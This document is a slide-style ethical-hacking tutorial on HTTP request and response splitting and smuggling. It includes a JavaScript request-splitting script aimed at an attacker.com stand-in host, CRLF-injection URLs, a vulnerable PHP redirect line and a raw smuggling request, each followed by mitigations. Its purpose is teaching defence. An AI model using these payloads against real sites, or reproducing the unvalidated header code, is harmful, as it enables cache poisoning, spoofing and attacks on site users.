Cyber Security-Ethical Hacking

Cyber Security – Ethical hacking

By Viral Parmar(#veerskyfire)CEO Founder Comexpo Cyber Security

Introduction

Computer security is information security as applied to computers and computer networks. This field covers all the processes and mechanisms by which computer-based equipment, information and services are protected from unintended or unauthorized access, change or destruction. Computer security also includes protection from unplanned events and natural disasters.

Always remember: Know hAckiNG, but no HaCKing.

Who is hacker?In the computer security context, a hacker is someone who seeks and exploits weaknesses in a computer system or computer network. Hackers may be motivated by a multitude of reasons, such as profit, protest, or challenge.Word hacker exist that are not related to computer security, such as referring to someone with an advanced understanding of computers and computer networks.They are rarely used in mainstream context. They are subject to the long standing hacker definition controversy about the true meaning of the term hacker. In this controversy, the term hacker is reclaimed by computer programmers who argue that someone breaking into computers is better called a cracker.not making a difference between computer criminals (black hats) and computer security experts (white hats).Some white hat hackers claim that they also deserve the title hacker, and that only black hats should be called crackers.

Be AwareWarning: The attack techniques discussed are intended only as information to help you secure your Web application. Do NOT attempt to use any of these techniques on any server on the Internet, at your workplace, on any network or server that you do not own yourself — unless you have written permission from the owner of the server and network to conduct such testing! Indian law provides for prosecution, fines, and even jail terms for breaking into computers that you do not own.Also note that if you have a website of your own, hosted by a hosting provider, or on a rented physical server, the server and network do NOT belong to you even though you own the website content. You should ideally obtain permission from such hosting providers/server owners to carry out even “testing” probes on your own website/Web application.The ideal way to test your Web application would be on your own private LAN—or even better, to create a virtual machine on your personal computer, in which you run Apache and a database server, and host a copy of your Web application. You can then do your testing against the virtual machine, without running afoul of cyber laws.

Securing your applications—learn how break-ins occur

HTTP Message Architecture

This topic focuses on attacks exploiting the HTTP message architecture in the client-proxy-server system.

HTTP Message Architecture (Con..)

Intercepting HTTP messages has always been high on the priority list of attackers. Their focus is on what’s going on between the server and the client. The presence of intermediaries such as cache servers, firewalls, or reverse proxy servers, could make for highly non-secure communication. Attacks that deal with the interception of HTTP messages are:

• HTTP request splitting• HTTP response splitting• HTTP request smuggling• HTTP response smuggling

HTTP request splitting attacksTwo mechanisms have been exploited to date, for this attack: the XmlHttpRequest object (XHR for short) and the HTTP digest authentication mechanism.XmlHttpRequest is a JavaScript object that allows client-side JavaScript code to send almost raw HTTP requests to the origin host, and to access the response body in raw form. As such, XmlHttpRequest is a core component of AJAX.

<script> var x = new ActiveXObject("Microsoft.XMLHTTP"); //var x = new XMLHttpRequest(); x.open("GET\thttp://www.attacker.com/page1.html\tHTTP/1.0\r\n Host:\twww.attacker.com\r\n Proxy-Connection:\tKeep-Alive\r\n\r\nGET","http://www.attacker.com/page2.html",false); x.send();//x.send(""); window.open("http://www.example.com/index.html");</script>

Note: The above code will work for Internet Explorer; the modifications required for Mozilla are commented so you can just uncomment them as required

HTTP request splitting attacks (Con..)How to attack

However, the forward proxy server will receive the following request:GET\thttp://www.attacker.com/page1.html\tHTTP/1.0Host:\twww.attacker.comProxy-Connection:\tKeep-AliveGET http://www.attacker.com/page2.html HTTP/1.0Host: www.attacker.com............Content-Type: text/htmlConnection: Keep-Alive

Hence, it will respond with two HTTP responses. The first response (http://www.attacker.com/page1.html) will be consumed by the XHR object itself, and the second (http://www.attacker.com/page2.html) will wait in the browser’s response queue until the browser requests http://www.example.com/index.html (because window.open()will now execute). Now, the browser will match the response fromhttp://www.attacker.com/page2.html to the request for the URLhttp://www.target.com/index.html, and will display the attacker’s page in the window, with that URL!!

Time for securityThough HTTP request splitting is a very rare attack, still, the following recommendations should be taken seriously:• It is good if site owners use SSL for protection.• Eliminating XSS entirely will definitely help a lot.• There are also suggestions for blocking HTTP/1.0 requests to the Web server. Though this will work, it will also

block the entry of the Web crawlers and spiders of major search engines, because those mostly use HTTP/1.0.• Follow the security tips given for the previous attacks (especially parsing all the user input for CRLFs).

HTTP response splitting attacks

• Also known as a CRLF(Carriage Return Line Feed) injection, this attack causes a vulnerable Web server to respond to a maliciously crafted request by sending an HTTP response stream which is interpreted as two separate responses instead of a single one. This is possible when user-controlled input is used, without validation, as part of the response headers. An attacker can have the victim interpret the injected header as being a response to a second dummy request, thereby causing the crafted contents to be displayed, and possibly cached.

How to achieve HTTP response splitting on a vulnerable Web server

Identifies user-controllable input that causes arbitrary HTTP header injection.Crafts a malicious input consisting of data to terminate the original response and start a second response with headers controlled by the attacker.Causes the victim to send two requests to the server. The first request consists of maliciously crafted input to be used as part of HTTP response headers, and the second is a dummy request so that the victim interprets the split response as belonging to the second request.

HTTP response splitting attacks (Con..)How to attack

This attack is generally carried out in Web applications by injecting malicious or unexpected characters in user input, which is used for a 3xx Redirect, in the Location or Set−Cookie header. It is mainly possible due to the lack of validation of user input, for characters such asCR (Carriage Return= %0d = \r) and LF (Line Feed= %0a = \n). In such Web applications, a code such as \r\n is injected in one of its many encoded forms.<?php header ("Location: " . $_GET['page']);?>Requests to this page such as http://test.example.com/~arpit/redirect.php?page=http://www.example.com would redirect the user’s browser tohttp://www.example.com. Let’s look at the HTTP headers during this session

Now, an attacker might use the %0d%0a characters to poison the header, by injecting something like what’s given below:http://test.example.com/~viral/redirect.php?page=%0d%0aContent−Type:text/html%0d%0aHTTP/1.1 200 OK%0d%0aContent−Type: text/html%0d%0aContent-Length:%206%0d%0a%0d%0a%3Chtml%3EHACKED%3C/html%3E.The injected code is :\r\nContent−Type: text/html\r\nHTTP/1.1 200 OK\r\nContent−Type: text/html\r\nContent-Length: 6\r\n\r\n<html>HACKED</html>

HTTP response splitting attacks (Con..)How to attack

This example is a simple case of XSS exploitation using an HTTP response-splitting vulnerability. Apart from this, an attacker can also do Web cache poisoning, cross-user attacks, and browser cache poisoning.Cross user attacks: In cross-user attacks, the second response sent by the Web server may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. In this way, a request from one user is served to another.To perform cache poisoning, the attacker will simply add a “Last-Modified” header in the injected part (to cache the malicious Web page as long as the Last-Modified header, it is sent with a date ahead of the current date). Moreover, adding Cache-Control: no-cache and/or Pragma: no-cache in the injected part will cause non-cached websites to be added to the cache.

HTTP response splitting attacks (Con..)How to attack

Time for securityThis vulnerability in Web applications may lead to defacement through Web-cache poisoning, and to cross-site scripting vulnerabilities, but the following methods can help curb it:• The best way to avoid HTTP splitting vulnerabilities is to parse all user inputs for CR/LF, i.e,\r\

n, %0d%0a, or any other forms of encoding these (or other such malicious characters), before using them in any kind of HTTP headers.

• Properly escaping the URI at every place where it is present in the HTTP message, like in the HTTP Location Header; then CRLF (/r, /n) will not be parsed by the browser.

• The myth that using SSL saves one from attacks is not true; it still leaves the browser cache and post-SSL termination uncovered. Don’t rely on SSL to save you from this attack.

HTTP request smuggling attacksHTTP request smuggling attacks are aimed at distributed systems that handle HTTP requests (especially those that contain embedded requests) in different ways. Such differences can be exploited in servers or applications that pass HTTP requests along to another server, directly — like proxies, cache servers, or firewalls.

Why does it work? Request smuggling exploits the way in which HTTP end-points parse and interpret the protocol, and counts on the lax enforcement of the HTTP specification (RFC 2616). RFC 2616 specifies that there should be one, and only one, Content-Length header.

But, by using multiple Content-Length headers, it is possible to confuse proxies and bypass some Web application firewalls, because of the way in which they interpret the HTTP headers. This is partly because RFC 2616 does not specify the behaviour of an endpoint when receiving multiple HTTP headers, and partly because end-points have always been more forgiving of clients that take liberties with the HTTP protocol than they should be.

Attack scenarioThis particular case depicts the Web-cache-poisoning attack that uses request smuggling. It involves sending a set of HTTP requests to a system comprising of a Web server (www.example.com) and a caching-proxy server. Here, the attacker’s goal is to make the cache server cache the content of www.example.com/resource_denied.html instead ofwww.example.com/welcome.html.Note: For a successful request-smuggling attack, there should be an XSS vulnerability in the Web application.The attack involves sending an HTTP POST request with multiple Content-Length headers. The attacker sends the following to the proxy server:

POST http://www.example.com/some.html HTTP/1.1Host: www.example.comConnection: Keep-AliveContent-Type: application/x-www-form-urlencodedContent-Length: 0Content-Length: 39 GET /resource_denied.html HTTP/1.1Blah: GET http://www.example.com/welcome.html HTTP/1.1Host: www.example.comConnection: Keep-Alive

Time for security

• Install Web application firewalls, which protect against HRS attacks. A few firewalls are still vulnerable to HRS attacks; check with the firewall vendors whether their products offer protection against HRS or not.

• Apply strong session-management techniques. Terminate the session after each request.• Turn off TCP connection sharing on the intermediate devices. TCP connection sharing improves

performance, but allows attackers to smuggle HTTP requests.• Turn on non-cache for all pages. For more details refer to www.web-caching.com.

HTTP response smuggling attacksThis is an attack that occurs very rarely. In this case, an attacker smuggles two HTTP responses from a

server to a client, through an intermediary HTTP device that allows a single response from the server. To do this, it takes advantage of inconsistent or incorrect interpretations of the HTTP protocol by various applications.For example, it might use different block-terminating characters (CR or LF alone), adding duplicate header fields that browsers interpret as belonging to separate responses, or other techniques. The consequences of this attack can include response-splitting, cross-site scripting, apparent defacement of targeted sites, cache poisoning or similar actions.

This attack is most useful in evading anti-HTTP-response-splitting (anti-HRS) mechanisms. For this to happen, the targeted server must allow the attacker to insert content that will appear in the server’s response.HTTP response smuggling makes use of HTTP request smuggling-like techniques to exploit the discrepancies between what an anti-HRS mechanism (or a proxy server) would consider to be the HTTP response stream, and the response stream as parsed by a proxy server (or a browser). So, while an anti-HRS mechanism may consider a particular response stream harmless (a single HTTP response), a proxy/browser may still parse it as two HTTP responses, and hence be susceptible to all the outcomes of the original HTTP-response-splitting technique (in the first use case), or be susceptible to page spoofing (in the second case).

HTTP response smuggling attacks(Con..)

For example, some anti-HRS mechanisms in use by certain application engines forbid the application from inserting a header containing CR+LF to the response. Yet, an attacker can force the application to insert a header containing LFs only, or CRs only, thereby circumventing the defense mechanism. Some proxy servers may still treat CR (only) as a header (and response) separator, and as such, the combination of the Web server and proxy server will still be vulnerable to an attack that may poison the proxy’s cache

Now, since this attack has a lot more dependencies (which is why it is rare) I request you to visit the resources below to get a good hold on this. As for security measures, strictly adhere to interpretations of HTTP messages wherever possible. (Remember: no CRs and no LFs.) Moreover, encoding header information provided by user input (so that user-supplied content is not interpreted by intermediaries) is also a good way to handle the attack. Finally, reject any non RFC-compliant responses.

All the examples and attack scenarios explained above are just for educational purposes. I once again stress that neither I nor LFY aim to teach readers how to attack servers. Rather, the attack techniques are meant to give you the knowledge that you need to protect your own infrastructure.

Thanking You…!